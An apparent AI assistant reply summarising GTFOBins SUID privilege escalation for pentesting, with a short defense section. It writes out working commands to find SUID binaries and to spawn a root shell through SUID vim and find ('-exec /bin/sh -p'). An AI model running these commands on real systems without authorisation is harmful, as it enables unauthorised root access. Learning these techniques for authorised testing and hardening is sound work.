Alright — here’s the **short, punchy version** for **GTFOBins SUID-based privilege escalation**:

**1. What is GTFOBins?**

* **GTFOBins** is a public list of Unix binaries that can be abused for **local privilege escalation**.
* If a binary has the **SUID bit set** (runs as the file owner, often root), it can potentially be exploited to execute commands with elevated privileges.

**2. Finding SUID Binaries**

find / -type f -perm -4000 2>/dev/null

If you see something unusual (not part of default SUID binaries list), check it on [**GTFOBins**](https://gtfobins.github.io/).

**3. Example Exploit**

Let’s say /usr/bin/vim is SUID-root:

/usr/bin/vim -c ':!sh'

Boom — you now have a **root shell**.

**4. Another Example (Less Obvious)**

If find is SUID-root:

find . -exec /bin/sh -p \; -quit

The -p keeps the privileges.

**5. Defense**

* Remove SUID bit from non-essential binaries:

chmod u-s /path/to/binary

* Monitor with file integrity tools.

If you want, I can also give you a **quick reference table** of the most common exploitable SUID binaries and their one-liners. That would speed up privilege escalation in pentests a lot.